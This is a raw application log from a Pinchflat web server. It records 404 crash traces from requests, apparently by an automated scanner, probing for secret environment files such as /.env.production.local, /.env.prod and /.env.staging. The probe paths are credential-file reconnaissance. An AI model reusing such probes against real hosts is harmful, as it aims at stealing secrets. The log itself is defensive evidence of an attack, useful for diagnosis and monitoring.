text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /plans (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/plans", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49264}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3106.0>, params: %{}, path_info: ["plans"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user (truncated) 21:08:36.870 [info] GET /.env.production.local 21:08:36.871 [debug] QUERY OK source="settings" db=0.3ms idle=148.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.871 [debug] QUERY OK source="settings" db=0.2ms idle=125.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.871 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:36.872 [error] #PID<0.3108.0> running PinchflatWeb.Endpoint (connection #PID<0.3107.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.production.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3107.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49270}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3108.0>, params: %{}, path_info: [".env.production"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.production.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-UcaFcikDKwAAMyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3107.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49270}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3107.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49270}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3108.0>, params: %{}, path_info: [".env.production"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" (truncated) 21:08:36.957 [info] GET /.env.prod 21:08:36.958 [debug] QUERY OK source="settings" db=0.2ms idle=211.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.958 [debug] QUERY OK source="settings" db=0.2ms idle=138.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.958 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:36.959 [error] #PID<0.3110.0> running PinchflatWeb.Endpoint (connection #PID<0.3109.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.prod ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3109.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49276}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3110.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.prod", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-UxKgWWXWl4AAM0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3109.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49276}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3109.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49276}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3110.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:36.990 [info] GET /.env.staging 21:08:36.991 [debug] QUERY OK source="settings" db=0.3ms idle=171.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.992 [debug] QUERY OK source="settings" db=0.2ms idle=120.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.992 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:36.996 [info] GET /.env.stage 21:08:36.997 [debug] QUERY OK source="settings" db=0.3ms idle=125.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.998 [debug] QUERY OK source="settings" db=0.2ms idle=39.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.998 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:36.993 [error] #PID<0.3112.0> running PinchflatWeb.Endpoint (connection #PID<0.3111.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.staging ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3111.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49280}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3112.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.staging", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-U5K1uALTQoAAM2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3111.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49280}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3111.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49280}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3112.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "h (truncated) 21:08:36.998 [error] #PID<0.3114.0> running PinchflatWeb.Endpoint (connection #PID<0.3113.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.stage ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3113.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.stage", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49282}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3114.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.stage", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-U6jIfjqqz4AAM4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, 